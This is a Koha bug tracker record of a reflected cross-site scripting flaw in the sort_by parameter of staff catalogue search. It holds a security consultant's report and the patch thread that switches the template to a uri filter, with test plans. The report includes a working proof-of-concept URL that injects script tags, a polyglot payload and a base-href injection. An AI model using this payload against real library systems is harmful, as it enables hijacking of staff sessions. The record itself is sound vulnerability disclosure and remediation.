| Summary: | Reflected Cross Site Scripting | ||
|---|---|---|---|
| Product: | Koha | Reporter: | Jack <jack.wallace> |
| Component: | Staff interface | Assignee: | David Cook <dcook> |
| Status: | RESOLVED FIXED | QA Contact: | Aleisha Amohia <aleisha> |
| Severity: | critical | ||
| Priority: | P5 - low | CC: | aleisha, amitddng135, dcook, didier.gautheron, fridolin.somers, gmcharlt, jonathan.druart, laurent.ducos, lisette, lucas, m.de.rooy, martin.renvoize, nick, philippe.blouin, tomascohen, victor |
| Version: | Main | ||
| Hardware: | All | ||
| OS: | All | ||
| Change sponsored?: | --- | Patch complexity: | --- |
| Documentation contact: | Documentation submission: | ||
| Text to go in the release notes: | Version(s) released in: |
24.11.00,24.05.03,23.11.08,23.05.14,22.11.20
|
|
| Circulation function: | |||
| Bug Depends on: | 22605 | ||
| Bug Blocks: | |||
| Attachments: |
XSS in Firefox.
Bug 37466: Add correct filter for sort_by in results.tt Bug 37466: Add correct filter for sort_by in results.tt Bug 37466: Add correct filter for sort_by in results.tt |
||
Thanks for this report. Should be a quick fix. I'm a bit surprised this bug was created in the first place. Looks like maybe a copy/paste human error... Created attachment 169540 [details] [review] Bug 37466: Add correct filter for sort_by in results.tt This patch replaces the $raw filter with the correct uri filter for the sort_by in results.tt Test plan: 1. Apply patch 2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1 3. Click on "Edit this search" 4. Note that the "Popularity (most to least)" Sort by option is selected 5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23 6. Click on "Edit this search" 7. Note that the "Popularity (most to least)" Sort by option is selected Created attachment 169799 [details] [review] Bug 37466: Add correct filter for sort_by in results.tt This patch replaces the $raw filter with the correct uri filter for the sort_by in results.tt Test plan: 1. Apply patch 2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1 3. Click on "Edit this search" 4. Note that the "Popularity (most to least)" Sort by option is selected 5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23 6. Click on "Edit this search" 7. Note that the "Popularity (most to least)" Sort by option is selected Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> It's works! :) (checked also that it fixes the XSS) Created attachment 169802 [details] [review] Bug 37466: Add correct filter for sort_by in results.tt This patch replaces the $raw filter with the correct uri filter for the sort_by in results.tt Test plan: 1. Apply patch 2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1 3. Click on "Edit this search" 4. Note that the "Popularity (most to least)" Sort by option is selected 5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23 6. Click on "Edit this search" 7. Note that the "Popularity (most to least)" Sort by option is selected Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> Signed-off-by: Aleisha Amohia <aleishaamohia@hotmail.com> Pushed to main for 24.11. Nice work everyone, thanks! |
Created attachment 169539 [details] XSS in Firefox. Hi Koha team, I'm a security consultant with Bastion Security, we've identified a reflected XSS vulnerability within the sort_by field: When clicked, the following link would lead to the execution of JavaScript within the context of the user who clicked it: https://<HOST>/cgi-bin/koha/catalogue/search.pl?advsearch=1&idx=kw&q=alert%601%60+setTimeout%60alert%5Cu0028document.domain%5Cu0029%60%3B&idx=kw&q=t%3F.%281%29%2F%2F%27%2F*%5C%27%2F*%22%2F*%5C%22%2F*%60%2F*%5C%60%2F*%2526apos%3B%29%2F*%3C%21--%3E%3C%2FTitle%2F%3C%2FStyle%2F%3C%2FScript%2F%3C%2FtextArea%2F%3C%2FiFrame%2F%3C%2FnoScript%3E%5C74k%3CK%2FcontentEditable%2FautoFocus%2FOnFocus%3D%2F*%24%7B%2F*%2F%3B%7B%2F*%2F%28alert%29%281%29%7D%2F%2F%3E%3CBase%2FHref%3D%2F%2FX55.is%5C76--%3E&idx=kw&q=%27%3Cbr+%2F%3E%3CBR+SIZE%3D%22%26%7Balert%28%27XSS%27%29%7D%22%3E%3Cbr+%2F%3E&sort_by=c9p47%22%3e%3cscript%3ealert(document.location)%3c%2fscript%3ewxssv This could be used to assist an attacker in gaining unauthorized access, or to assist in elevating their privileges. As Koha is open source it would be possible for an attacker to identify this and use it against existing implementations of Koha. This vulnerability was identified on version 23.11.06 of Koha.